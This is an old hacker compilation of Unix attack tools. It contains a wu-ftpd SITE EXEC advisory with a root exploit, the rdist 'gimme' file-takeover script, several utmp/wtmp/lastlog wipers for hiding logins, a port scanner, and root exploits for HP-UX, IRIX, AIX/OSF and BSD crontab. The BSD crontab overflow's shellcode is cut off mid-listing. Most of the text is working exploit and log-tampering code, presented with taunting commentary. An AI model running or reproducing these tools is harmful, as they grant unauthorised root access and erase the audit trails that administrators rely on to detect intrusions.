      The report was just before Bugtraq went down for a long time, but
      I've found the bug still to be present on all the Linux machines that
      I have access to. So maybe it needs to be brought a little more in
      the open. Here we go:
      
      ObBug: - Short description of the bug
      
      It involves wu.ftpd being misconfigured at compile time and allowing
      SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
      this is ~ftp/bin). Now if in this /bin resides a program that gives
      access to executables outside /bin, but in the users reach (such as
      /bin/bash that gives access to the user's homedir), this opens up
      a root vulnerability. This should have been set to /bin/ftp-exec and
      which be set by the _PATH_EXECPATH variable in src/pathnames.h before
      compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
      net has this securely set as default value.
      
      - How to check ?
      
      $ ftp -n localhost
      user: <userid>
      password: <passwd>
      ftp> quote site exec bash -c id
      
      If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>
      
      Of course, bash should not be available at all
      
      - How to exploit (in case your sysadmin or you think the above is not
        a problem)
      
      go to your homedir and make a program: duh.c (or whatever)
      
      main() {
         seteuid(0);
         setegid(0);
         system("/bin/cp /bin/sh ./sh");
         system("/bin/chmod 6755 ./sh");
      }
      
      $ make duh
      $ ftp -n localhost (and login)
      user: <userid>
      password: <passwd>
      ftp> quote site exec bash -c duh
      ftp> quit
      
      $ ./sh
      
      bash#
      
      (voila, QED)
      
      - How to fix?
      
      Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
      doesn't compile on linux) and compile it; you might want to define the
      _PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
      and /usr/adm/xferlog for example). If you cannot find that I can email the
      source to you,...if you trust the source I took somewhere unmodified and
      if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
      I can remember that I got it that way.
      
      $) Henri Karrenbeld
      -----------------------------------------------------------------------------
      Hardware, n.:
              The parts of a computer system that can be kicked.
      -----------------------------------------------------------------------------
      
      ..........................................................................
      .                                                                        .
      . 16. A shell script called gimme, used to read any system file          .
      ..........................................................................
      
      ----------------cut here
      #! /bin/sh
      # GIMME - "gimme' a file"
      # Demonstrate rdist's ability to give me permission to access anything.
      #
      # gimme <pathname> [<permission> [<directory>]]
      #       <pathname> is the target file.
      #       <permission> is the octal mode to which the file access permission
      #               should be set.  Note that this may not be effective unless
      #               either the SUID (4000) or SGID (2000) bits are also requested.
      #       <directory> is the target directory for rdist to use if a hard
      #               link is desired.  Note that the user must have permission
      #               to create this directory, it must be on the same filesystem
      #               as the target file, and the target file must not be a
      #               directory.  This option is necessary to change the ownership
      #               of the target if chown() of a symbolic link modifies the
      #               link itself, and not the file it refers to.
      #
      
      dirname=gimme$$
      deftemp=/tmp
      defperm=6777
      
      if [ $1x = x ]; then
              echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
              exit 1
      fi
      
      if [ $2x != x ]; then
              perm=$2
      else
              perm=$defperm
      fi
      
      if [ $3x != x ]; then
              link="ln"
              temp=$3/$dirname
              target=$1
      else
              link="ln -s"
              temp=$deftemp/$dirname
              case $1 in
              /*)
                      target=$1
                      ;;
              *)
                      target=`pwd`/$1
                      ;;
              esac
      fi
      
      trap "rm -fr $temp; exit 1"  1 2 15
      umask 66
      mkdir $temp; if [ $? != 0 ]; then
              exit 1
      fi
      
      set `whoami` $LOGNAME
      user=$1
      set daemon `groups`
      while [ $# != 1 ]; do
              shift
      done
      group=$1
      
      (
              echo "t$temp/something"
              echo "R0 $perm 1 0 $user $group "
      
              while [ ! -f $temp/rdist* ]; do
                      sleep 1
              done
      
              set $temp/rdist*
              rm -f $1
              if $link $target $1 >&2; then
                      echo "" | dd bs=3 conv=sync 2>/dev/null
                      echo ""
      
                      echo 0 > $temp/status
              else
                      echo 1 > $temp/status
              fi
      
              exit
      ) | rdist -Server
      
      status=`cat $temp/status`
      rm -fr $temp
      exit $status
      -----------------------------cut here
      
      
      
      *********************************************
      * Appendix IV - Other UNIX system utilities *
      *********************************************
      
      
      ..........................................................................
      .                                                                        .
      . 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX  .
      ..........................................................................
      
      
      ------------------ cut here
      
      /* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
      /* This file totally wipes all presence of you on a UNIX system*/
      /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
      /* is compatible..  This file is for information purposes ONLY!*/
      
      /*--> Begin source...    */
      #include <fcntl.h>
      #include <utmp.h>
      #include <sys/types.h>
      #include <unistd.h>
      #include <lastlog.h>
      
      main(argc, argv)
          int     argc;
          char    *argv[];
      {
          char    *name;
          struct utmp u;
          struct lastlog l;
          int     fd;
          int     i = 0;
          int     done = 0;
          int     size;
      
          if (argc != 1) {
               if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
                   printf("You are now cloaked\n");
                   goto start;
                                                                 }
               else {
                    printf("close successful\n");
                    exit(0);
                    }
                         }
          else {
               printf("usage: close [file to close]\n");
               exit(1);
               }
      start:
          name = (char *)(ttyname(0)+5);
          size = sizeof(struct utmp);
      
          fd = open("/etc/utmp", O_RDWR);
          if (fd < 0)
              perror("/etc/utmp");
          else {
              while ((read(fd, &u, size) == size) && !done) {
                  if (!strcmp(u.ut_line, name)) {
                      done = 1;
                      memset(&u, 0, size);
                      lseek(fd, -1*size, SEEK_CUR);
                      write(fd, &u, size);
                      close(fd);
                  }
              }
          }
      
      
          size = sizeof(struct lastlog);
          fd = open("/var/adm/lastlog", O_RDWR);
          if (fd < 0)
              perror("/var/adm/lastlog");
          else {
              lseek(fd, size*getuid(), SEEK_SET);
              read(fd, &l, size);
              l.ll_time = 0;
              strncpy(l.ll_line, "ttyq2 ", 5);
              gethostname(l.ll_host, 16);
              lseek(fd, size*getuid(), SEEK_SET);
              close(fd);
          }
      }
      ---------------cut here
      
      .............................................................................
      .                                                                           .
      . 2. invisible.c  Makes you invisible, and works on some SunOS without root .
      .............................................................................
      
      
      ----------- cut here
      /* invisible.c - a quick hack courtesy of the rogue */
      /* erases your presence when root, or partially erases when on a sun and not root */
      /* peace, dudes */
      
      
      #include <fcntl.h>
      #include <utmp.h>
      #include <sys/types.h>
      #include <unistd.h>
      #include <lastlog.h>
      
      main(argc, argv)
          int     argc;
          char    *argv[];
      {
          char    *name;
          struct utmp u;
          struct lastlog l;
          int     fd;
          int     i = 0;
          int     done = 0;
          int     size;
      
          name = (char *)(ttyname(0)+5);
          size = sizeof(struct utmp);
          
          fd = open("/etc/utmp", O_RDWR);
          if (fd < 0)
              perror("/etc/utmp");
          else {
              while ((read(fd, &u, size) == size) && !done) {
                  if (!strcmp(u.ut_line, name)) {
                      done = 1;
                      memset(&u, 0, size);
                      lseek(fd, -1*size, SEEK_CUR);
                      write(fd, &u, size);
                      close(fd);
                  }
              }
          }
          memset(&u, 0, size);
          fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
          if (fd < 0)
              perror("/var/adm/wtmp");
          else {
              u.ut_time = 0;
              strcpy(u.ut_line, "~");
              strcpy(u.ut_name, "shutdown");
              write(fd, &u, size);
              strcpy(u.ut_name, "reboot");
              write(fd, &u, size);
              close(fd);
          }
      
      
          size = sizeof(struct lastlog);
          fd = open("/var/adm/lastlog", O_RDWR);
          if (fd < 0)
              perror("/var/adm/lastlog");
          else {
              lseek(fd, size*getuid(), SEEK_SET);
              read(fd, &l, size);
              l.ll_time = 0;
              strncpy(l.ll_line, "ttyq2 ", 5);
              gethostname(l.ll_host, 16);
              lseek(fd, size*getuid(), SEEK_SET);
              write(fd, &l, size);
              close(fd);
          }
          
      }
      ----------- cut here
      
      ..........................................................................
      .                                                                        .
      . 3. SySV Program that makes you invisible                               .
      ..........................................................................
      
      
      --------- cut here
      
      /* MME - MakeME, Version 1.00 for SySV / Source Compatible machines   
               MME will allow you to remove yerself from the UTMP file, change
               what name appears for you in UTMP, or change what TTY you appear
               to be on.
      
      If you modify this program or incorporate some of these routines into
      another program, please somewhere in the program tell where you got
      them from.. namely, put in some credits to me & This program , so
      you don't "playgerize".  It makes me mad when someone modifies someone
      else's work then pawns it off as their own original piece.  The credits
      can even be in a comment somewhere in the source instead of visual to
      the user. 
      
      syntax:
      mme
      mme login_name
      mme login_name new_tty
      
      in order to change tty name, you must first supply a login name
      then a ttyname.
      
      You MUST have write perm's to /etc/utmp to modify the main utmp file.
      */
      
      #include <stdio.h>
      #include <fcntl.h>
      #include <sys/types.h>
      #include <utmp.h>
      #include <sys/stat.h>
      
      char *mytty; /* For an exact match of ut_line */
      char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
      struct utmp *user;
      
      main(argc,argv)
      int argc;
      char *argv[];
      {
              int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
              char err[80];
              if (argc >= 2) cn = 1;
              if (argc == 3) cl = 1;
              system(backup_utmp);
          printf("Welcome to MME 1.00 By Sir Hackalot\n");
          printf("Another PHAZESOFT Productions\n");
          printf("Status:");
          if (cn == 1) printf("Changing your login to %s\n",argv[1]);
              if (cl == 1) printf("Changing your tty   to %s\n",argv[2]);
              if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
              utmpname("/etc/utmp");
      
      /* The Below Section finds OUR entry, even if more than 1 of the same name
         of us is logged on.  It finds YOUR tty, looks in utmp until it finds
         your tty, then "cnt" holds your index number */
              
              mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
              strcpy(mytty,++mytty); /* Make a string starting one pos greater */
              while (good != 1) {
                      user = getutent();
                      cnt++;
                      if (strcmp(user->ut_line,mytty) == 0) good =1;
              }
              utmpname("/etc/utmp"); /* Reset file pointer */
              for(start = 0;start < cnt;start++) {
                      user = getutent(); /* Move the file pointer to where we are */
              }
      
              /* Below: If we did not supply a command line arg to change name, etc,
                make us invisible from WHO.  WHO only displays USER_PROCESS 
                types, as does "w", "whodo" and all who variations.  You WILL
                be seen if they do who -l (or one some systems -L)
                if we did supply an argument make SURE we DO show up. */
      
              if (argc == 1)  user->ut_type = LOGIN_PROCESS; /* Become invisible */
              else user->ut_type = USER_PROCESS;
      
              /* ABove: You can change it to:
               else {
               user->ut_type = LOGIN_PROCESS;
               strcpy(user->ut_name,"LOGIN");
               }
                to totally hide your-self.  On some systems, if you do it, it will go
                thru the login process... But that is rare.  AT any-rate, for 
                safety, i left out the strcpy */
      
              /* Below: If we entered a new login name, change to that.
                If we entered a new tty, change to that. */
      
              if (argc == 2) strcpy(user->ut_name,argv[1]);
              if (argc == 3) strcpy(user->ut_line,argv[2]);
              pututline(user); /* Rewrite our new info */
              endutent(); /* Tell the utmp functions we are through */
              printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n");
      }
      
      ----------- cut here
      
      .........................................................................
      .                                                                       .
      . 4. UNIX Port scanner                                                  .
      .........................................................................
      
      
      ----------- cut here
      
      /* 
       * internet port scanner 
       *
       * This program will scan a hosts TCP ports printing all ports that accept
       * connections, and if known, the service name.
       * This program can be trivially altered to do UDP ports also.
       *
       * Kopywrong (K) Aug. 25, '94 pluvius@io.org
       *
       * Hey kiddies, this is a C program, to run it do this:
       * $ cc -o pscan pscan.c
       * $ pscan <host> [max port]
       *
       * No, this will not get you root.
       * 
       * Changes:
       * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
       * Netrunner 1/18/95 11:30pm
       * 
      */
      static char sccsid[] = "@(#)pscan.c     1.0     (KRAD) 08/25/94";
      #include <stdio.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      #include <netdb.h>
      
      #define MAX_PORT 1024 /* scan up to this port */
      int s;
      struct sockaddr_in addr;
      char rmt_host[100];
      
      int skan(port)
      int port;
      {
       int r;
          s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
          if (s < 0) {
             /* fprintf("ERROR: socket() failed\n"); */
             /* Changed to printf for my Linux 1.1.18 box */
             printf("ERROR: socket() failed\n");
             exit(0);
          }
      
          addr.sin_family = PF_INET;
          addr.sin_port = port;
          addr.sin_addr.s_addr = inet_addr(rmt_host);
      
          r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
      
          close(s);
      
          if (r < 0) {
             return (1 == 0);
          }
      
          return (1 == 1);
      }
      
      main(argc,argv) 
      int argc;
      char *argv[];
      {
       int a,b,c,d,e,f;
       struct hostent *foo;
       struct servent *bar;
      
         if (argc < 2) {
            fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
            exit(0);
         }
      
         if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
            foo = gethostbyname(argv[1]);
            if (foo == NULL) {
               fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
               exit(0);
            }
            sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
                    (unsigned char ) foo->h_addr_list[0][1], 
                    (unsigned char ) foo->h_addr_list[0][2], 
                    (unsigned char ) foo->h_addr_list[0][3]);
         } else {
            strncpy(rmt_host,argv[1],99);
         }
      
      
         if (argc > 2) {
            f = atoi(argv[2]);
         } else
            f = MAX_PORT;
      
         fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
      
         for (e =1;e<=f;e++) {
          char serv[100];
            if (skan(e)) {
               bar = getservbyport(e,"tcp");
               printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
                      bar->s_name);
            }
         }
      }
      
      ------------ cut here
      
      .........................................................................
      .                                                                       .
      .  5. Remove wtmp entries by tty number or username                     .
      .........................................................................
      
      
      ---------- cut here
      
      
      /* This program removes wtmp entries by name or tty number */
      
      #include <utmp.h>
      #include <stdio.h>
      #include <sys/file.h>
      #include <sys/fcntlcom.h>
      
      void usage(name)
      char *name;
      {
          printf("Usage: %s [ user | tty ]\n", name);
          exit(1);
      }
      
      void main (argc, argv)
      int argc;
      char *argv[];
      {
          struct utmp utmp;
          int size, fd, lastone = 0;
          int match, tty = 0, x = 0;
      
          if (argc>3 || argc<2)
             usage(argv[0]);
      
          if (strlen(argv[1])<2) {
             printf("Error: Length of user\n");
             exit(1);
          }
      
          if (argc==3)
             if (argv[2][0] == 'l') lastone = 1;
      
          if (!strncmp(argv[1],"tty",3))
             tty++;
      
          if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
              printf("Error: Open on /usr/adm/wtmp\n");
              exit(1);
          }
      
          printf("[Searching for %s]:  ", argv[1]);
      
          if (fd >= 0)
          {
             size = read(fd, &utmp, sizeof(struct utmp));
             while ( size == sizeof(struct utmp) )
             {
                if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
                  ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
                    lastone != 1)
                {
                   if (x==10)
                      printf("\b%d", x);
                   else
                   if (x>9 && x!=10)
                      printf("\b\b%d", x);
                   else
                      printf("\b%d", x);
                   lseek( fd, -sizeof(struct utmp), L_INCR );
                   bzero( &utmp, sizeof(struct utmp) );
                   write( fd, &utmp, sizeof(struct utmp) );
                   x++;
                }
                size = read( fd, &utmp, sizeof(struct utmp) );
             }
          }
          if (!x)
             printf("No entries found.");
          else
             printf(" entries removed.");
          printf("\n");
          close(fd);
      }
      
      ------------- cut here
      
      ............................................................................
      .                                                                          .
      .  6. SunOS wtmp editor                                                    .
      ............................................................................
      
      
      ---------- cut here
      
      /*
         /var/adm/wtmp editor for Sun's
         Written by gab, this will make a file wtmp.tmp then just copy
         it over /var/adm/wtmp and chmod 644 it
      */
       
      #include <stdio.h>
      #include <utmp.h>
      #include <fcntl.h>
      main(argc,argv)
      int argc;
      char *argv[];
      {
      int fp=-1,fd=-1;
      struct utmp ut;
      int i=0;
      char name[8];
      if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]);  exit(2);}
      strcpy(name,argv[1]);
      if (fp=open("/var/adm/wtmp",O_RDONLY)) {
              fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
              while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
                      if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
                      i++;
              }
              close(fp);
              close(fd);
              }
      printf("Total: %d\n\r", i);
      }
      ------------ cut here
      
      .......................................................................
      .                                                                     .
      .  7. SunOS 4+ Zap your self from wtmp, utmp and lastlog              .
      .......................................................................
      
      
      -------------  cut here
      
      /*
            Title:  Zap.c (c) rokK Industries
         Sequence:  911204.B
       
          Syztems:  Kompiles on SunOS 4.+
             Note:  To mask yourself from lastlog and wtmp you need to be root,
                    utmp is go+w on default SunOS, but is sometimes removed.
          Kompile:  cc -O Zap.c -o Zap
              Run:  Zap <Username>
       
      
             Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
                    entered Username. It also Zeros out the last login data for
                    the specific user, fingering that user will show 'Never Logged
                    In'
       
            Usage:  If you cant find a usage for this, get a brain.
      */
       
      #include <sys/types.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <utmp.h>
      #include <lastlog.h>
      #include <pwd.h>
       
      int f;
       
      void kill_tmp(name,who)
      char *name,
           *who;
      {
          struct utmp utmp_ent;
       
        if ((f=open(name,O_RDWR))>=0) {
           while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
             if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                       bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                       lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                       write (f, &utmp_ent, sizeof (utmp_ent));
                  }
           close(f);
        }
      }
       
      void kill_lastlog(who)
      char *who;
      {
          struct passwd *pwd;
          struct lastlog newll;
       
           if ((pwd=getpwnam(who))!=NULL) {
       
              if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  write(f, (char *)&newll, sizeof( newll ));
                  close(f);
              }
       
          } else printf("%s: ?\n",who);
      }
       
      main(argc,argv)
      int  argc;
      char *argv[];
      {
          if (argc==2) {
              kill_tmp("/etc/utmp",argv[1]);
              kill_tmp("/usr/adm/wtmp",argv[1]);
              kill_lastlog(argv[1]);
              printf("Zap!\n");
          } else
          printf("Error.\n");
      }
      ------------ cut here
      
      
      ************************************
      * Appendix V - Other Unix Exploits *
      ************************************
      
      
      
      ..........................................................................
      .                                                                        .
      . 1. HP-UX Root vhe_u_mnt exploit                                        .
      ..........................................................................
      
      
      
      ------- cut here
      
      /***
       *
       * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
       *
       * This bug is exhibited in all versions of HP-UX that contain
       * /usr/etc/vhe/vhe_u_mnt setuid to root.
       *
       * This program written by pluvius@io.org
       * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
       *
       * I found that the exploit code didn't always work due to a race between
       * the child and the parent, and that a link() called failed due to
       * the fact that user directories and the /tmp are in different file systems
       * so you must create a symlink.
       * I added in a call to alarm() so that the timing between the two processes
       * is ok..
       *
       ***/
      #include <stdio.h>
      #include <stdlib.h>
      #include <pwd.h>
      #include <string.h>
      #include <unistd.h>
      #include <signal.h>
      #include <netdb.h>
      #include <sys/wait.h>
      #include <sys/stat.h>
      #include <sys/utsname.h>
      
      #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
      #define NAME "<defunct>"
      
      int test_host()
      { struct utsname name;
         uname(&name);
         return !strcmp(name.sysname,"HP-UX");
      }
      int check_mount()
      { struct stat my_buf;
         if (stat(BUGGY_PROG, &my_buf))
            return 0;
         return !((my_buf.st_mode & S_ISUID) != S_ISUID);
      }
      void pause_handler()
      {
         signal(SIGALRM,pause_handler);
      }
      int rhost_user(user)
      char *user;
      {
        struct passwd *info;
        char   homedir[80];
        int fd[2];
        int procno;
        struct stat my_buf;
        int fsize;
      
         info = getpwnam(user);
         if (info==NULL) {
            fprintf(stderr,"ERROR: Unknown user %s\n",user);
            exit(-3);
         }
         strcpy(homedir,info->pw_dir);
         if (homedir[strlen(homedir)-1] != '/')
            strcat(homedir,"/");
         strcat(homedir,".rhosts");
      
         signal(SIGALRM,pause_handler);
         memset(my_buf,0,sizeof(my_buf));
         stat(homedir,&my_buf);
         fsize = my_buf.st_size;
      
         /* now the exploit code... slightly modified.. but mostly from the source */
         /* by misar@rbg.informatik.th-darmstadt.de                                */
         pipe(fd);
         if (!(procno=fork())) {
            close(0);
            dup(fd[0]);
            close(fd[1]);
            close(1);
            close(2);
            alarm(2); /* wait for other process */
            nice(5);
            execl(BUGGY_PROG,NAME,NULL);
         } else {
          FILE *out;
          char listfile[25];
          char mntfile[25];
          struct stat dummy;
      
            close(1);
            dup(fd[1]);
            close(fd[0]);
            write(1,"+\n",2);
            sprintf(listfile,"/tmp/vhe_%d",procno+2);
            sprintf(mntfile,"/tmp/newmnt%d",procno+2);
            while (stat(listfile,&dummy));
            unlink(listfile);
            out=fopen(listfile,"w");
            fputs("+ +\n",out);
            fclose(out);
            unlink(mntfile);
            symlink(homedir,mntfile);
            waitpid(procno,NULL,0);
         }
         stat(homedir,&my_buf);
         return (fsize != my_buf.st_size);
      }
      
      void main(argc,argv)
      int   argc;
      char *argv[];
      {
        int i;
        int rhost_root = 0;
        char userid[10];
      
         if (!test_host()) {
            fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
            exit(-1);
         }
      
         if (!check_mount()) {
            fprintf(stderr,
                    "ERROR: %s must exist and be setuid root to exploit this bug\n",
                    BUGGY_PROG);
            exit(-2);
         }
      
         for (i=0;(i<5)&&(!rhost_root);i++) {
            fprintf(stderr,"Attempting to .rhosts user root..");
            if (!rhost_user("root")) {
               fprintf(stderr,"failed.\n");
            } else {
               fprintf(stderr,"succeeded\n");
               rhost_root = 1;
            }
         }
      
         if (!rhost_root) {
            /* failed to rhost root, try user 'bin' */
            fprintf(stderr,"Too many failures.. trying user bin...");
            if (!rhost_user("bin")) {
               fprintf(stderr,"failed.\n");
               exit(-4);
            }
            fprintf(stderr,"succeeded.\n");
            strcpy(userid,"bin");
         } {
            strcpy(userid,"root");
         }
         fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
                 userid);
      }
      
      --------- cut here
      
      ..........................................................................
      .                                                                        .
      . 2. IRIX Root mail exploit                    .                         .
      ..........................................................................
      
      
      ---------- cut here
      
      #!/bin/sh
      MAIL="/bin/mail"
      RM="/bin/rm -f"
      CC="/usr/bin/cc"
      OS="IRIX"
      
      if  [ ".`uname -s`" != ".$OS" ];  then
        echo "this box is not running $OS !"
        exit 1
      fi
      echo "creating rewt.c"
      cat >rewt.c <<'EOF'
      main()
      {
      setuid(0);
      setgid(0);
      system("/bin/sh -i");
      }
      EOF
      echo "compiling..."
      $CC -o rewt rewt.c
      if [ -f rewt ]; then
        echo "done"
        $RM rewt.c
      else
        echo "unable to compile rewt.c"
        $RM rewt.c
        exit 1
      fi
      # make dummy mail file for -f
      echo "making dummy mail file"
      cat >dummymail <<'EOF'
      From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994
      Return-Path: </dev/null>
      Message-Id: <m0r1RBj-0003gkC@bogus.host.edu>
      From: mr.haqr (Mr. Haqr)
      Subject: Irix is secure!!@#%$^
      To: root (root)
      Date: Sun, 30 Oct 1994 00:00:00
      
      gimme sum rewt d00d!
      <insert l0ck motd here>
      
      EOF
      echo "running $MAIL, type '!rewt' to get root, exit  with 'exit' and then 'q'"
      $MAIL -f dummymail
      echo "deleting evil files"
      $RM dummymail rewt rewt.c
      
      exit 0
      
      ----------- cut here
      
      .............................................................................
      .                                                                           .
      . 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX .
      .............................................................................
      
      
      [crongrab] [public release]
      
      Crontab has a bug.  You run crontab -e, then you goto a shell, relink the
      temp fire that crontab is having you edit, and presto, it is now your
      property.  This bug has been confirmed on various versions of OSF/1, Digital
      UNIX 3.x, and AIX 3.x
      
      If, while running my script, you somehow manage to mangle up your whole
      system, or perhaps do something stupid that will place you in jail, then
      neither I, nor sirsyko, nor the other fine folks of r00t are responsible.
      
      Personally, I hope my script eats your cat and causes swarms of locuses to
      decend down upon you, but I am not responsible if they do.
      
      --kmem.
      
      [-- Script kiddies cut here -- ]
      #!/bin/sh
       
      # This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
      # This crappy exploit script was written by kmem.
      # and remember if ur not owned by r00t, ur not worth owning
      #
      # usage: crongrab <file_to_grab> <destination>
       
      echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
      echo if this did not work on OSF/1 read the comments -- it is easy to fix.
       
      if [ $# -ne '2' ]; then
       echo "usage: $0 <file_to_grab> <destination>"
       exit
      fi
       
      HI_MUDGE=$1
      YUMMY=$2
      export HI_MUDGE
       
      UNAME=`uname`
      GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
       
      #SETUP the awk script
      cat >1.awk <<END
      {
      new= i%2
      if (new == 0) print \$0
      i++
      }
      END
       
      cat >aix.sed <<END
      /^crontab:/d
      /^$/d
      END
       
      #shell script
      cat >myedit.sh <<EDITOR_END
      #!/bin/ksh
       
      rm \$1
      ln -s \$HI_MUDGE \$1
      exit
      EDITOR_END
       
      chmod 700 myedit.sh
       
      #save old vars
      oldedit=$EDITOR
      oldvis=$VISUAL
      VISUAL=./myedit.sh
      EDITOR=./myedit.sh
      export EDITOR
      export VISUAL
       
      #do the exploit@!&*&*(!@*(&
       
      if [ $UNAME = "AIX" ]; then
       crontab -e 2>.r00t-tmp1
       sed -f aix.sed .r00t-tmp1 > $YUMMY
      elif [ $UNAME =  "OSF1" ]; then
       #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
       crontab -e 2>.r00t-tmp1
       awk -f 1.awk .r00t-tmp1 >$YUMMY
       # FOR PRE DIGITAL UNIX 3.X machines uncomment this line
       #crontab -l 2>&1 > $YUMMY
      else
       echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
       echo "Figger it out."
       exit
      fi
       
      echo "Checkit out  - $YUMMY"
      echo "sirsyko and kmem kickin it out."
      echo "r00t"
       
      #cleanup our mess
      crontab -r
      VISUAL=$oldvis
      EDITOR=$oldedit
      HI_MUDGE=''
      YUMMY=''
      export HI_MUDGE
      export YUMMY
      export VISUAL
      export EDITOR
      rm -f $GIRLIES
      
      ------------- cut here
      
      ............................................................................
      .                                                                          .
      .  4. IRIX mail exploit to make you any user on the mahine - BUT NOT root  .
      ............................................................................
      
      
      ----------- cut here
      
      [irixmksh] [public release]
      
      There are bugs in the IRIX mail proggies.  This sample script exploits them
      to give you an suid shell of any user on the system, EXCEPT, for uid=0.
      
      Obviously, this script should not be run if you are a clueless script kiddie
      and have no clue what is going to do.  If this script causes any sort of
      harm to you, physically or virtually, them members of r00t are not responsible,
      and in fact will probably laugh at you.
      
      r00t -- you may not like us, but your girlfriend does.
      
      Script kiddies cut here
      ---------------------------------------------------------------------------
      #!/sbin/ksh
      # usage: irixmksh <user> - creates an suid shell of any user on the system
      # except for uid=0
      
      FILES=qfAA12345 putq /tmp/x usr
      
      if [ "x`uname -s`" != "xIRIX" ];then
        echo "this box is not running IRIX - later..."
        exit 1
      fi
      
      if [ "$#" != "1" ]; then
        echo "Usage: $0 <non uid=0 user>"
        exit 1
      fi
      
      TargetUser=$1
      
      # Make the mail queue files
      cat <<_r00t-text_>qfAA12345
      P0
      T830896940
      DdfAA12345
      Bblah
      Mdeferred: just cuz...
      C$TargetUser
      Sroot
      R<"|/tmp/x">
      H?P?return-path: <root>
      H?D?date: Tue, 30 Feb 1996 12:34:56 -0400
      H?F?from: root (root)
      Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain
              id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400
      H?M?message-id: <9602301234.AA12345@localhost>
      Happarently-to: root@plato.coolcode.com
      _r00t-text_
      
      
      # Make the script to run with euid=mail
      cat<<_r00t-text_>putq
      #!/bin/sh
      cp qfAA12345 /usr/spool/mqueue
      touch /usr/spool/mqueue/dfAA12345
      chown root /usr/spool/mqueue/*5
      _r00t-text_
      chmod u+x putq
      
      # Make the script to create the suid shell
      cat<<_r00t-text_>/tmp/x
      #!/bin/sh
      cp /bin/sh /tmp/b00sh.$TargetUser
      chmod 6777 /tmp/b00sh.$TargetUser
      _r00t-text_
      chmod u+x /tmp/x
      chown $TargetUser /tmp/x
      
      # Make the script to grab suid mail shell
      cat<<_r00t-text_>usr
      #!/bin/sh
      chgrp mail b00sh-mail
      chmod 2777 b00sh-mail
      _r00t-text_
      chmod u+x usr
      
      # Now snag mail access and send the queue files.
      cp /bin/sh b00sh-mail
      export PATH=.:$PATH
      export IFS=/
      echo "blah" | rmail $LOGNAME
      export IFS=
      
      b00sh-mail putq
      mailq
      
      # Clean Up:
      rm $FILES
      -------------------------------- cut here
      
      5. The Root BSD crontab exploit
      
      ---------------- cut here
      
      /*
      ** BSDI/FreeBSD exploit for crontab
      **
      ** For BSDi (Tested in 2.1) the default offset should be OK
      ** For FreeBSD, the offset seems to be around 1000
      **
      ** I didn't find this hole, I only exploited it.
      **
      ** Brian Mitchell brian@saturn.net
      */
       
      #include <stdio.h>
      #include <sys/types.h>
      #include <stdlib.h>
      #include <fcntl.h>
      #include <unistd.h>
       
      #define DEFAULT_OFFSET          -1050
      #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
      #define HAPPY_FILE              "./Window"
       
      long get_esp(void)
      {
         __asm__("movl %esp,%eax\n");
      }
       
      main(int argc, char **argv)
      {
         int fd;
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
         
         char execshell[] =
         "\xeb\x23"
         "\x5e"
         "\x8d\x1e"
         "\x89\x5e\x0b"
